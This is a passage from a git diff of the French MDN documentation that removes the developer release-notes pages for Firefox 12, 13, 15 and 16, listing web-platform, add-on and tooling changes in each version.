Offre un moyen pratique facile d'éditeur de code source que vous pouvez utiliser dans vos add-ons. C'est le même éditeur utilisé par l'Ardoise et les autres outils de développement intégrés dans Firefox.
-
- -

Changements dans les interfaces

- -
    -
  • L'interface {{interface("mozIAsyncHistory")}} a une nouvelle méthode {{ifmethod("mozIAsyncHistory","isURIVisited")}} pour vérifier si une URI a été visitée.
    • -
  • Une nouvelle interface {{interface("mozIVisitStatusCallback")}} a été ajoutée pour fournir une fonctionnalité de traitement des rappels pour {{ifmethod("mozIAsyncHistory","isURIVisited")}}.
    • -
  • L'interface {{interface("nsIMacDockSupport")}} interface now supports adding a text badge to the application's icon in the Dock using its new badgeText attribute.
    • -
  • Dans l'interface {{interface("nsINavHistoryResultObserver")}}, vous devez à présent implémenter {{ifmethod("nsINavHistoryResultObserver", "containerStateChanged")}} au lieu des anciennes méthodes containerOpened() et containerClosed().
    • -
- -

Interface supprimées

- -

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

- -
    -
  • {{interface("nsICharsetResolver")}}
    • -
  • {{interface("nsIDOMNSElement")}}, voir {{bug("707576")}} ; utilisez {{interface("nsIDOMElement")}} à la place.
    • -
- -

Changement lié au thème

- -
    -
  • Le fichier omni.jar se nomme désormais omni.ja.
    • -
- -

Changement dans les préférences

- -
-
{{Pref("ui.tooltipDelay")}}
-
Définit le délai, en millisecondes, entre le moment où le curseur de la souris s'arrête et l'affichage d'une info-bulle.
-
- -

Changement dans le système de compilation

- -
    -
  • L'option de compilation --enable-tracejit a été supprimée.
    • -
- -

Autre changement

- -
    -
  • Les extensions qui n'ont pas été mises à jour depuis longtemps sont supposées ne plus être compatible par défaut, ce qui concerne actuellement les add-ons qui indiquent 4.0 pour maxVersion.
    • -
- -

Voir également

- -

{{Firefox_for_developers('10')}}

diff --git a/files/fr/mozilla/firefox/versions/12/index.html b/files/fr/mozilla/firefox/versions/12/index.html deleted file mode 100644 index dbb7811cb7..0000000000 --- a/files/fr/mozilla/firefox/versions/12/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Firefox 12 pour les développeurs -slug: Mozilla/Firefox/Versions/12 -tags: - - Firefox - - Firefox 12 -translation_of: Mozilla/Firefox/Releases/12 ---- -
{{FirefoxSidebar}}
- -

Firefox 12, basé sur Gecko 12.0, est sorti le 24 avril 2012. Cette page résume les principaux changements dans Firefox 12 qui sont utiles aux développeurs.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • L'attribut title supporte désormais les caractères de saut de ligne pour permettre des multi-lignes dans les info-bulles.
    • -
  • Si JavaScript est désactivé, l'élément {{HTMLElement("canvas")}} était rendu au lieu d'afficher le contenu de secours selon la spécification. Désormais, c'est le contenu de secours qui est rendu.
    • -
  • L'attribut crossorigin est à présent supporté par {{HTMLElement("video")}}.
    • -
- -

CSS

- -
    -
  • Le support de la propriété {{cssxref("text-align-last")}} a été ajouté (prefixée).
    • -
- -

JavaScript

- -
    -
  • Le support des variables sharp (extension non-standard de Netscape) a été abandonné.
    • -
- -

DOM

- -
    -
  • {{domxref("DOMParser")}} supporte désormais l'analyse de fragments de documents HTML.
    • -
  • {{domxref("XMLHttpRequest")}} supporte désormais des délais d'attente en utilisant la propriété timeout et l'évènement "timeout", ainsi que le gestionnaire d'évènements ontimeout de l'interface {{domxref("XMLHttpRequestEventTarget")}}.
    • -
  • {{domxref("XMLHttpRequest")}} peut désormais se charger à partir des URIs data:.
    • -
  • Lors du téléchargement de grandes quantités de données, les gestionnaires d'événements {{domxref("XMLHttpRequest")}} de progression sont désormais appelés régulièrement avec l'ensemble responseType vers "moz-blob" et la réponse étant un {{domxref("Blob")}} contenant toutes les données reçues jusqu'ici. Cela permet aux gestionnaires de progression de commencer le traitement des données sans avoir à tout attendre.
    • -
  • Gecko supporte désormais le multi-touch (au lieu d'une touche à la fois) sur Android.
    • -
  • Lorsque vous éditez du texte à l'aide d'un IME, l'événement input est à présent envoyé chaque fois que le contenu de l'élément en cours d'édition a été changé, ce qui se passe après l'événement compositionupdate est envoyé pour indiquer que le texte de l'IME a été modifié. Vous pouvez donc utiliser le gestionnaire d'événements input, pour suivre l'évolution du contenu réel de l'élément.
    • -
  • {{domxref("DOMError")}} a été implémenté selon la spécification DOM 4.
    • -
  • La méthode {{domxref("Document.createNodeIterator()")}} a été mise à jour suivant la spécification DOM4. Cela rend les paramètres whatToShow et filter facultatifs et supprime le quatrième paramètre non-standard, entityReferenceExpansion.
    • -
  • La méthode slice() de l'interface {{domxref("Blob")}} a été touché par un bug qui l'empêchait d'accepter correctement le début et la fin des valeurs hors de la portée d'un entier de 64 bits signé, cela a été corrigé.
    • -
  • La méthode {{domxref("element.getBoundingClientRect()")}} considère désormais l'effet des transformations CSS lors du calcul des délimitations du rectangle de l'élément.
    • -
  • La propriété crossOrigin est à présent supportée par {{domxref("HTMLMediaElement")}}.
    • -
- -

Nouvelles WebAPIs

- -
    -
  • API Information Réseau : Ajout du support expérimental de {{domxref("window.navigator.connection")}} (prefixé).
    • -
  • API WebTelephony : {{domxref("window.navigator.mozTelephony")}} a été implémenté et fournit un support pour composer, répondre, et gérer les appels téléphoniques sur un appareil.
    • -
  • API WebSMS : {{domxref("window.navigator.mozSms")}} est à présent disponible pour les appareils mobiles pour envoyer des SMS.
    • -
  • API Screen brightness : {{domxref("window.screen.mozEnabled")}} et {{domxref("window.screen.mozBrightness")}} ont été ajoutés pour contrôler l'écran de l'appareil.
    • -
- -

SVG

- -
    -
  • Firefox implémente désormais l'API DOM {{domxref("SVGTests")}}, voir {{bug(607854)}}
    • -
  • L'interface DOM {{domxref("SVGStringList")}} supporte la propriété non-standard length, voir {{bug(711958)}}
    • -
- -

MathML

- -
    -
  • Pour contrôler la directionnalité des formules de MathML, l'attribut dir est désormais supporté par les éléments {{MathMLElement("math")}}, {{MathMLElement("mrow")}} et {{MathMLElement("mstyle")}} ainsi que par les éléments MathML Token. C'est particulièrement important pour certaines notations mathématiques Arabes.
    • -
  • L'attribut d'alignement align definit dans MathML3 a été implementé pour {{MathMLElement("munder")}}, {{MathMLElement("mover")}} et {{MathMLElement("munderover")}}.
    • -
- -

Réseau

- -
    -
  • Auparavant, Gecko rapportait le code de fermeture CLOSE_NORMAL quand un canal WebSocket était fermé en raison d'une erreur inattendue ou d'une condition d'erreur que la spécification ne couvre pas. Désormais, CLOSE_GOING_AWAY est rapporté à la place.
    • -
- -

Outils de développement

- - - -

Mozilla travaille sur l'intégration des ses propres outils de développement Web qui complètent l'add-on populaire Firebug. Vous pouvez obtenir plus d'informations sur ces outils et également voir une liste de ressources externes à Firefox qui vous aideront dans le développement Web. La liste se trouve dans les outils de développement Web.

- -

Changements divers

- -
    -
  • Le jeu de caractères GEOSTD8, qui n'a jamais été entièrement supporté, n'est plus du tout pris en charge.
    • -
- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Modules de code JavaScript

- -

source-editor.jsm

- -
    -
  • La méthode resetUndo() a été ajoutée, elle vous permet d'effacer la pile d'annulation.
    • -
  • L'éditeur de source offre à présent des méthodes pour apporter des capacités de recherche : find(), findNext(), and findPrevious().
    • -
- -

XUL

- -
    -
  • La définition des valeurs pour l'attribut {{XULAttr("chromemargin")}} a été légèrement modifié, pour que ce soit plus facile de faire du code XUL multi-plateforme qui rend bien sur les plateformes avec des largeurs par défaut des bordures de fenêtres différentes.
    • -
- -

XPCOM

- - - -

XPConnect

- -
    -
  • Le type de données PRUint64 été mal utilisé puisqu'il est sensiblement identique à PRint64 lorsqu'il est utilisé avec XPConnect. Cela a été corrigé.
    • -
- -

Changements dans les interfaces

- -
    -
  • L'interface nsIScreen_MOZILLA_2_0_BRANCH a été intégré dans {{interface("nsIScreen")}}. Les API définies dans cette interface (pour contrôler la luminosité de l'écran) n'avaient pas encore été documentées, mais désormais elles le sont.
    • -
  • L'interface {{interface("nsIScriptError2")}} a été intégré dans {{interface("nsIScriptError")}}.
    • -
  • {{ifmethod("nsIDownloadManager", "addDownload")}} est à présent géré de manière asynchrone plutôt que de façon synchrone.
    • -
  • La méthode {{ifmethod("imgIContainerObserver", "frameChanged")}} reçoit désormais le premier paramètre d'un objet {{interface("imgIRequest")}} qui identifie la demande correspondante.
    • -
  • La méthode {{ifmethod("nsIDOMWindowUtils", "sendTouchEvent")}} a été ajoutée pour permettre de synthétiser les événements tactiles.
    • -
  • Vous pouvez désormais faire défiler le contenu spécifié verticalement au centre de la vue en spécifiant SCROLL_CENTER_VERTICALLY lors de l'appel de la constante de défilement {{ifmethod("nsISelectionController", "scrollSelectionIntoView")}}.
    • -
  • Le nouvel attribut {{ifattribute("nsIMemoryMultiReporter", "explicitNonHeap")}} a été ajouté ; C'est un moyen plus efficace d'obtenir la somme de toutes les mesures du multi-rapporteur qui mesure ceux qui ont un chemin commençant par "explicit" et qui sont de type KIND_NONHEAP.
    • -
  • L'attribut {{ifattribute("nsIDOMWindowUtils", "paintingSuppressed")}} a été ajouté ; cette valeur booléenne indique si oui ou non la toile est en train d'être supprimée de la fenêtre. C'est utilisé sur mobile pour éviter le rendu sautillant qui se produit lorsque les tentatives pour dessiner la page commencent avant que le contenu disponible soit insuffisant pour le faire.
    • -
  • Les interfaces nsIDocCharset et nsIDocumentCharsetInfo ont été intégrées dans {{interface("nsIDocShell")}}. Dans le cadre de ce travail, le vieil attribut forcedDetector a été enlevé, il n'a jamais rien fait.
    • -
- -

SpiderMonkey

- -
    -
  • JSThread a été supprimé.
    • -
  • JSThreadData a été intégré dans JSRuntime.
    • -
- -

Compilation

- -
    -
  • Lors de la compilation sous Windows, vous devez avoir le SDK de Windows 7 installé.
    • -
- -

Autres changements

- - - -

Voir également

- -

{{Firefox_for_developers('11')}}

diff --git a/files/fr/mozilla/firefox/versions/13/index.html b/files/fr/mozilla/firefox/versions/13/index.html deleted file mode 100644 index df1af7aca1..0000000000 --- a/files/fr/mozilla/firefox/versions/13/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Firefox 13 pour les développeurs -slug: Mozilla/Firefox/Versions/13 -tags: - - Firefox - - Firefox 13 -translation_of: Mozilla/Firefox/Releases/13 ---- -
{{FirefoxSidebar}}

Firefox 13, basé sur Gecko 13.0, est sorti le 5 juin 2012. Cette page résume les principaux changements dans Firefox 13 qui sont utiles aux développeurs.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • L'attribut {{htmlattrxref("cellspacing", "table")}} de {{htmlelement("table")}} est désormais analysé de la manière qu'il soit en mode quirks ou non. Autrement dit, si une valeur est spécifiée en pourcentage, elle est traitée comme un certain nombre de pixels, puisque les valeurs en pourcentage ne sont pas réellement autorisée selon la spécification.
    • -
  • L'élément {{htmlelement("wbr")}} a vu son comportement bi-directionnel corrigé. Il se comporte à présent comme l'Unicode U+200B ZERO-WIDTH SPACE et n'affecte donc plus la bi-directionnalité de son élément parent.
    • -
  • La peusdo-classe {{Cssxref(":invalid")}} peut à présent être appliquée à l'élément {{htmlelement("form")}}.
    • -
- -

CSS

- -
    -
  • L'unité turn de la propriété {{cssxref("<angle>")}} est désormais supportée (à utiliser avec la fonction CSS rotate()).
    • -
  • Le support d'une syntaxe de 3 à 4 valeurs pour la propriété {{cssxref("background-position")}} a été ajouté. Vous pour décaler une image de fond à partir de n'importe quel coin en écrivant par exemple "right 10px bottom 20px". Voir {{bug(522607)}}
    • -
  • Le support d'une syntaxe à 2 valeurs pour la propriété {{cssxref("background-repeat")}} a été ajouté.
    • -
  • Les propriétés {{cssxref("border-radius","-moz-border-radius*")}} et {{cssxref("box-shadow","-moz-box-shadow")}} n'ont plus de préfixe (border-radius ou box-shadow). Voir {{bug(693510)}}
    • -
  • La propriété {{cssxref("column-fill")}} a été implémentée (prefixée).
    • -
- -

JavaScript

- -
    -
  • Le support pour la construction for..of de l'ECMAScript 6 a été ajouté.
    • -
  • Le support expérimental pour les objets ECMAScript 6 Map and Set a été ajouté.
    • -
- -

DOM

- -
    -
  • L'argument deep de la méthode {{domxref("Node.cloneNode()")}} est désormais optionnel, comme c'est spécifié dans DOM4.
    • -
  • Les méthodes {{domxref("window.setTimeout()")}} et {{domxref("window.setInterval()")}} ne transmettent plus l'argument supplémentaire "lateness" lors du rappel de routine.
    • -
  • La méthode {{domxref("Blob","Blob.mozSlice()")}} n'a plus de préfixe.
    • -
  • Le support du constructeur {{domxref("Blob")}} a été ajouté.
    • -
  • Le support de globalStorage a été retiré.
    • -
  • La nouvelle interface {{domxref("DOMRequest")}}, utilisée pour rapporté l'état et le résultat des opérations en arrière-plan, a été ajoutée.
    • -
  • La méthode {{domxref("HTMLOptionElement", "HTMLOptionElement.index()")}} renvoie désormais 0 au lieu de l'incorrect -1 lorsque {{HTMLElement("option")}} est à l'intérieur d'un élément {{HTMLElement("datalist")}}.
    • -
  • {{domxref("DOMException")}} a été implémenté selon la spécification DOM Level 4.
    • -
  • L'inteface {{domxref("FileError")}} a été supprimée en faveur de l'interface {{domxref("DOMError")}} selon la dernière spécification FileAPI.
    • -
  • L'objet {{domxref("Range")}} ne lance plus une RangeException. A la place une {{domxref("DOMException")}} est utilisée selon DOM 4.
    • -
  • {{domxref("element.getAttributeNS()")}} renvoie désormais toujours null au lieu d'une chaîne vide pour les attributs inexistants. Auparavant, il y avait des cas où une chaîne vide pouvait être retournée. Pour être conforme à la spécification DOM4, null doit être retourné pour les attributs inexistants.
    • -
  • L'interface {{domxref("HTMLCanvasElement")}} a maintenant une méthode non-standard, mozFetchAsStream(), qui fournit un flux entrant contenant les données d'image de l'élément au format spécifié.
    • -
- -

UA string

- -
    -
  • Firefox Mobile ou Tablet pour Android dispose désormais d'une chaîne UA pour indiquer le style et n'a plus le signe Fennec. En outre, le nombre après "Gecko /" est à présent le numéro de version de Gecko au lieu d'une date.
    • -
  • La chaîne UA n'affiche plus le numéro de correctif Gecko ou le statut de version dans le numéro de version ; le numéro de version est à présent toujours de la forme "X.Y", où X est le numéro de version majeur et Y le mineur. Par exemple, "13.0" ou "14.1". Il n'y aura plus quelque chose comme "14.0.1b1".
    • -
- -

SVG

- -
    -
  • L'interface DOM {{domxref("SVGStringList")}} est désormais indexable comme Array (voir {{bug(722071)}}).
    • -
- -

WebGL

- -
    -
  • Le support pour l'extension EXT_texture_filter_anisotropic a été ajouté. Le filtrage des textures anisotrope améliore la qualité de l'accès aux textures mipmapped lors de la visualisation d'une primitive texturée à un angle oblique.
    • -
- -

MathML

- -
    -
  • Le support pour l'attribut width sur l'élément {{MathMLElement("mtable")}} a été ajouté ({{bug(722880)}}).
    • -
  • La police MathJax est désormais utilisée comme police par défaut pour le texte mathématique are now used as the default fonts for mathematical text. Voir les polices pour le moteur MathML de Mozilla pour plus d'informations.
    • -
- -

Réseau

- -
    -
  • Le protocole SPDY est désormais activé par défaut.
    • -
- -

Outils de développement

- -

Amélioration de la vue 3D

- -
    -
  • Vous pouvez à présent appuyer sur la touche "F" pour s'assurer que le nœud actuellement sélectionné est visible.
    • -
- -

Améliorations du panneau de style

- -
    -
  • En cliquant sur l'en-tête d'une règle dans le panneau de style ouvre à présent l'Editeur de style correspondant au CSS.
    • -
  • Un clique droit sur une règle dans le panneau de style offre à présent une option pour copier la règle dans le presse-papiers.
    • -
  • La saisie d'un nom de propriété inconnue, ou d'une valeur de propriété illégale, affiche une icône d'avertissement près de cette propriété.
    • -
- -

Amélioration de l'Ardoise

- -
    -
  • L'Ardoise a maintenant une option dans le menu Aide pour vous rendre à la documentation MDN sur l'Ardoise.
    • -
- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Note de compatibilité

- -

A partir de Firefox 13, Firefox pour Windows requiert au minimum Windows XP Service Pack 2, il ne pourra plus s'exécuter sur Windows 2000 ou les versions antérieures de Windows XP.

- -

Modules de code JavaScript

- -

source-editor.jsm

- -
    -
  • Le support d'un drapeau sale a été ajouté à l'API Source Editor.
    • -
  • L'éditeur de source ne supporte plus de retomber sur un {{HTMLElement("textarea")}} au lieu d'utiliser Orion.
    • -
  • L'éditeur expose à présent les évènements focus et blur.
    • -
  • La méthode getIndentationString() a été ajoutée, cela renvoie la chaîne à utiliser pour l'indentation du texte dans l'éditeur.
    • -
  • L'éditeur de source supporte désormais la gestion d'une liste de points d'arrêt et l'affichage de l'interface utilisateur pour les basculer sur et en dehors ; toutefois, il ne fait pas la mise en œuvre des points d'arrêt. C'est à vous d'écrire du code pour le débogueur.
    • -
  • Le support pour mettre en surbrillance la ligne actuelle a été ajouté, en utilisant l'option de configuration highlightCurrentLine.
    • -
- -

ARIA

- -
    -
  • Les propriétés CSS {{cssxref("margin-left")}}, {{cssxref("margin-right")}}, {{cssxref("margin-top")}}, {{cssxref("margin-bottom")}} sont à présent toutes reflétées dans les attributs des objets ARIA avec le même nom. Voir les attributs des objets Gecko pour plus d'informations.
    • -
- -

Interfaces

- -
    -
  • L'interface {{interface("nsIScreen")}} supporte à présent le contrôle de la rotation via le nouvel attribut rotation.
    • -
  • L'interface {{interface("nsIPrefBranch2")}} a été intégrée dans {{interface("nsIPrefBranch")}} ({{bug(718255)}}).
    • -
  • Les alias MozOpacity, MozOutline, MozOutlineStyle, MozOutlineWidth, MozOutlineOffset et MozOutlineColor, qui ont tous été retirés des précédentes versions de Gecko, ont été supprimés de {{interface("nsIDOMCSS2Properties")}}, qui aurait dû avoir ces alias.
    • -
  • L'attribut excludeItemIfParentHasAnnotation de {{interface("nsINavHistoryQueryOptions")}} a été retiré, avec l'opération de requête correspondante. Il existait les livemarks, qui n'existent plus.
    • -
- -

Voir également

- -

{{Firefox_for_developers('12')}}

diff --git a/files/fr/mozilla/firefox/versions/15/index.html b/files/fr/mozilla/firefox/versions/15/index.html deleted file mode 100644 index e4ed3d90ea..0000000000 --- a/files/fr/mozilla/firefox/versions/15/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Firefox 15 pour les développeurs -slug: Mozilla/Firefox/Versions/15 -tags: - - Firefox - - Firefox 15 -translation_of: Mozilla/Firefox/Releases/15 ---- -
{{FirefoxSidebar}}

Firefox 15, basé sur Gecko 15.0, est sorti le 28 août 2012. Cette page résume les principaux changements dans Firefox 15 qui sont utiles aux développeurs.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • L'attribut size de l'élément {{HTMLElement("font")}} est à présent géré selon la spécification HTML5. Cela signifie que toutes les valeurs entières supérieures à 10 ou inférieure à -10 sont désormais considérées, respectivement, comme équivalentes à 10 et -10.
    • -
  • Le support pour les attributs font-weight et point-size de l'élément <font> a été supprimé ; ils n'étaient pas standards et Gecko était le seul moteur qui les a supportés.
    • -
  • Le codec Opus est à présent supporté pour l'audio dans les conteneurs Ogg pour les éléments HTML {{HTMLElement("audio")}} et {{HTMLElement("video")}}.
    • -
  • L'élément {{HTMLElement("source")}} supporte désormais l'attribut media.
    • -
  • Les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}} supportent désormais l'attribut played, qui fournit l'objet {{domxref("TimeRanges")}} listant les plages de temps des médias qui ont été lus jusqu'à présent.
    • -
- -

CSS

- -
    -
  • La propriété {{cssxref("font-feature-settings")}} a été mise à jour selon la dernière syntaxe : font-feature-settings: "lnum" 1;.
    • -
  • La propriété CSS {{cssxref("text-transform")}} a été étendue pour gérer correctement les ligatures Unicode (comme fi).
    • -
  • La propriété CSS {{cssxref("word-break")}} a été impémentée.
    • -
  • La propriété {{cssxref("border-image")}} a été mise à jour selon la dernière spécification et n'a plus de préfixe. ({{bug(713643)}})
    • -
  • La fonction skew() de {{cssxref("transform")}} retirée dans Firefox 14, a été restaurée pour la compatibilitée avec les sites existants. Toutefois, les auteurs sont invités à utiliser à la place les fonctions skewX() et skewY().
    • -
- -

DOM

- -
    -
  • Les méthodes KeyboardEvent.getModifierState() et MouseEvent.getModifierState() de DOM Events Level 3, qui vous permettent de demander l'état des touches de modification, comme Ctrl ou Shift, ont été implémentées ({{bug(630811)}} et {{bug(731878)}}). Mais le comportement est conforme au dernier brouillon de D3E. Donc, certains noms de touches de modification diffèrent de IE ({{bug(769190)}}).
    • -
  • Sur les évènements de la souris, l'attribut MouseEvent.buttons pour interroger l'état des boutons de la souris, a été implémenté.
    • -
  • Sur les évènements du clavier, l'attribut KeyboardEvent.location pour interroger l'emplacement de la clé (standard, à gauche ou à droite de la touche de modification, dans le pavé numérique), a été implémenté ({{bug(166240)}}).
    • -
  • Le résultat de KeyboardEvent.keyCode a été calculé à partir de meilleures règles qui étaient presque identiques sous Windows/Linux/Mac. Et désormais elles sont disponibles sur certaines configurations de clavier qui n'ont pas la disposition ASCII sur Linux et Mac, comme l'arabe, le cyrillique, thaï et ainsi de suite. Voir le document des codes pour les touches virtuelles.
    • -
  • La méthode range.detach() a été tranformée en no-op et sera probablement supprimée dans le futur.
    • -
  • La méthode HTMLVideoElement.mozHasAudio() a été implémentée. Elle indique si une piste audio est associée à un élément vidéo. ({{bug(480376)}})
    • -
  • L'API Performance a une nouvelle méthode, now(), supportant les horloges haute résolution du type de DOMHighResTimeStamp. ({{bug(539095)}}).
    • -
  • L'API WebSMS a été mise à jour et supporte à présent l'attribut read indiquant si un SMS est lu ou non.
    • -
  • L'API FileHandle a été implémentée.
    • -
  • Le constructeur Blob prend désormais ArrayBufferView comme un membre du paramètre blobParts en plus de ArrayBuffer. ({{bug(752402)}})
    • -
  • {{domxref("DeviceLightEvent")}} spécifié dans Ambient Light Events a été implémenté.
    • -
  • {{domxref("DeviceProximityEvent")}} et {{domxref("UserProximityEvent")}} de Proximity Events ont été implementés.
    • -
- -

JavaScript

- -
    -
  • Le support de l'interface DataView a été ajouté à partir de la spécification des tableaux typés. Cela fournit un accès de bas niveau aux données contenues dans un ArrayBuffer.
    • -
  • Le support de Number.isNaN d'ECMAScript Harmony a été ajouté. ({{bug(749818)}}, {{bug(761495)}}, {{bug(761480)}})
    • -
  • Le support du paramètre default d'ECMAScript Harmony a été ajouté. ({{bug(757676)}})
    • -
  • Le support du paramètre rest d'ECMAScript Harmony a été ajouté. ({{bug(574132)}})
    • -
- -

WebGL

- -
    -
  • Le support de l'extension WEBGL_compressed_texture_s3tc a été ajouté. Les textures compressées réduisent la quantité de mémoire nécessaire pour stocker une texture sur le GPU, ce qui permet d'utiliser des textures en plus hautes résolutions ou plus de textures de même résolution.
    • -
- -

MathML

- -
    -
  • Les opérateurs mathématiques peuvent désormais utiliser les polices téléchargeables spécifiés avec {{cssxref("@font-face")}}. Cela permet à l'extension MathML-fonts de travailler également avec les opérateurs extensibles.
    • -
  • L'attribut selection de {{MathMLElement("maction")}} est désormais uniquement pris en compte avec l'actiontype toggle.
    • -
  • L'obsolète et contraignant namedspace a été supprimé ({{bug("673759")}}).
    • -
  • La prise en charge de la syntaxe des valeurs de Length et {{MathMLElement("mpadded")}} a été améliorée selon la spécification MathML3.
    • -
  • Les nouveaux opérateurs MathML pour les maths arabes ont été ajoutés au dictionnaire opérateur ({{bug(757125)}}).
    • -
- -

Réseau

- -
    -
  • Le support du protocole SPDY v3 a été lancé. Il est désactivé par défaut et peut être activé en définissant la préférence network.http.spdy.enabled.v3 sur vrai. ({{bug(737470)}})
    • -
- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Changements dans les interfaces

- -
-
{{interface("nsIDOMWindowUtils")}}
-
aModifiers de sendMouseEvent(), sendTouchEvent(), sendMouseEventToWindow(), sendMouseScrollEvent() et sendKeyEvent() supporte toutes les touches de modification qui sont supportées par KeyboardEvent.getModifierState(). Utiliser les valeurs MODIFIER_*. Et désormais le 5ème paramètre de sendKeyEvent() est changé d'un boolean vers un unsigned long. Pour la compatibilité ascendante, si l'appelant passe true ou false, le comportement n'est pas changé. Ce changement permet aux appelants d'indiquer l'emplacement de la touche.
-
{{interface("nsIBrowserHistory")}}
-
La méthode hidePage() n'a jamais été implémentée, et a été entièrement supprimée dans cette version. La méthode addPageWithDetails() a également été supprimée dans le cadre des travaux pour faire une API Places asynchrone ; à la place, utilisez plutôt {{ifmethod("mozIAsyncHistory", "updatePlaces")}}. De plus, l'attribut count a été retiré, il ne renvoyé pas un comptage réel à certain moment (à la place, il indiqué simplement si les entrées existées). Vous pouvez utiliser à la place {{ifattribute("nsINavHistoryService", "hasHistoryEntries")}}.
-
- -
-
{{interface("inIDOMUtils")}}
-
La méthode parseStyleSheet() permet d'ajouter et d'analyser des feuilles de style.
-
- -

Nouvelles interfaces

- -
-
{{interface("nsISpeculativeConnect")}}
-
Fournit un moyen de suggérer la couche réseau que vous allez être susceptibles de demander l'ouverture d'une connexion à un URI donné dans un futur proche. Cela permet à la couche réseau d'entamer le processus, qui a parfois une forte latence, d'ouvrir une nouvelle connexion réseau à l'avance.
-
- -

Interfaces supprimées

- -

Les interfaces suivantes ont été supprimées.

- -
    -
  • {{interface("nsIGlobalHistory")}}
    • -
- -

Voir également

- -

{{Firefox_for_developers('14')}}

diff --git a/files/fr/mozilla/firefox/versions/16/index.html b/files/fr/mozilla/firefox/versions/16/index.html deleted file mode 100644 index 0d9335ab6b..0000000000 --- a/files/fr/mozilla/firefox/versions/16/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Firefox 16 pour les développeurs -slug: Mozilla/Firefox/Versions/16 -tags: - - Firefox - - Firefox 16 -translation_of: Mozilla/Firefox/Releases/16 ---- -
{{FirefoxSidebar}}

Firefox 16, basé sur Gecko 16.0, est sorti le 9 octobre 2012. Cette page résume les principaux changements dans Firefox 15 qui sont utiles aux développeurs.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • L'élément {{HTMLElement("meter")}} est à présent supporté.
    • -
  • Le support pour l'API HTML Microdata a été ajouté. ({{bug(591467)}})
    • -
  • {{HTMLElement("canvas")}} supporte à présent le mot-clé CSS currentColor dans tous les cas. ({{bug("629882")}})
    • -
  • {{HTMLElement("input")}} permet désormais un filtrage basé sur les types MIME abitraires dans accept. ({{bug(565274)}})
    • -
- -

CSS

- -
    -
  • Le support du standard des Animations CSS a été lancé sans préfixe. ({{bug(762302)}})
    • -
  • Le support pour l'inversion de la direction de l'animation (mots-clés reverse et alternate-reverse sur la propriété {{cssxref("animation-direction")}}) a été ajouté. ({{bug(655920)}})
    • -
  • Vous pouvez désormais animer les propriétés CSS {{cssxref("height")}} et {{cssxref("width")}}.
    • -
  • Les propriétés CSS {{cssxref("animation-duration")}} et {{cssxref("transition-duration")}} rejettent désormais les valeurs négatives (et ne les traitent plus comme 0s) ({{bug(773102)}})
    • -
  • Le support du standard des Transformations CSS a été lancé sans préfixe. ({{bug(745523)}})
    • -
  • Le support du standard des Dégradés CSS a été lancé sans préfixe. Notez que la syntaxe a considérablement évoluée depuis la version préfixée. ({{bug(752187)}})
    • -
  • L'implémentation de {{cssxref("box-sizing", "-moz-box-sizing")}} a été actualisée pour aussi s'appliquer aux cellules du tableau. ({{bug(338554)}})
    • -
  • Le support du standard de {{cssxref("calc")}} a été lancé sans préfixe. ({{bug(771678)}})
    • -
  • Le type de données de {{cssxref("<resolution>")}} a été étendu et supporte le dppx. ({{bug(741644)}})
    • -
  • Sur l'écran, pour les media queries, dppx, dpi et dpcm représentent désormais des valeurs basés sur des pixels CSS et non plus avec les unités physiques. ({{bug(771390)}})
    • -
  • Trois nouvelles pseudo-classes, :-moz-meter-optimum, :-moz-meter-sub-optimum et :-moz-meter-sub-sub-optimum, ont été ajoutées pour accéder à/styliser un élément {{HTMLElement("meter")}} dans un état particulier. ({{bug(660238)}})
    • -
  • La propriété {{cssxref("-moz-appearance")}} gagnes deux nouvelles valeurs : meterbar et meterchunk. Elles représentent des composants dans l'élément {{HTMLElement("meter")}}. ({{bug(659999)}})
    • -
  • {{cssxref("min-width")}} et {{cssxref("min-height")}} supportent désormais le mot-clé auto pour les articles flexibles (et règlent les autres articles à 0 ). ({{bug(763689)}})
    • -
- -

DOM

- -
    -
  • Deux nouvelles propriétés, width et height, ont été ajoutée à l'interface {{domxref("HTMLInputElement")}}. ({{bug(683855)}})
    • -
  • Les propriétés et méthodes d'IndexedDB n'ont plus de préfixe, depuis que IndexedDB est passé au statut Candidate Recommendation. ({{bug(726378)}})
    • -
  • Battery API n'a plus de préfixe.
    • -
  • L'API Vibration n'a plus de préfixe.
    • -
  • L'interface {{domxref("Keyboard")}}, qui est toujours préfixée (mozKeyboard), a désormais les méthodes {{domxref("Keyboard.setSelectedOption()")}} et {{domxref("Keyboard.setValue()")}}, ainsi que la propriété {{domxref("Keyboard.onfocuschange")}}.
    • -
  • Les attributs Window.java et Window.packages ont été supprimés. Ils n'ont jamais été documentés, et nous espérons que vous ne les utilisiez pas !
    • -
  • CSSRule.type associé avec {{domxref("CSSNamespaceRule")}} a été mis à jour à partir de UNKNOWN_RULE (0) vers NAMESPACE_RULE (10). ({{bug(765590)}})
    • -
  • API WebSMS : SmsRequest a été remplacé par qui est plus général.
    • -
- -

JavaScript

- -
    -
  • L'objet Number offre désormais les méthodes isFinite(), toInteger() et isInteger(). ({{bug(761480)}}, {{bug(761495)}})
    • -
  • L'opérateur de diffusion d'Harmony a été ajouté à l'objet Array. ({{bug(574130)}})
    • -
- -

MathML

- -
    -
  • Les attributs lspace et rspace de {{MathMLElement("mo")}} ont désormais la constante thickmathspace par défaut.
    • -
- -

Outils de développement

- -
    -
  • Il existe à présent une barre de développement très pratique, vous pouvez y accéder en allant dans Outils > Développeur Web > Barre de Développement, ou en appuyant sur Maj+F2. Cette barre d'outils propose une interface en ligne de commande ainsi que des boutons pour accéder rapidement aux outils utiles. L'interface graphique de commande en ligne (GCLI) est facile à étendre et d'autres commandes devraient dans le futur. Tapez "help" pour obtenir la liste des commandes disponibles.
    • -
  • La console Web affiche désormais le nombre d'erreurs afin que vous voyez rapidement la quantité de travail que vous avez devant vous.
    • -
  • L'Ardoise propose désormais la liste des fichiers récemments ouverts.
    • -
- -

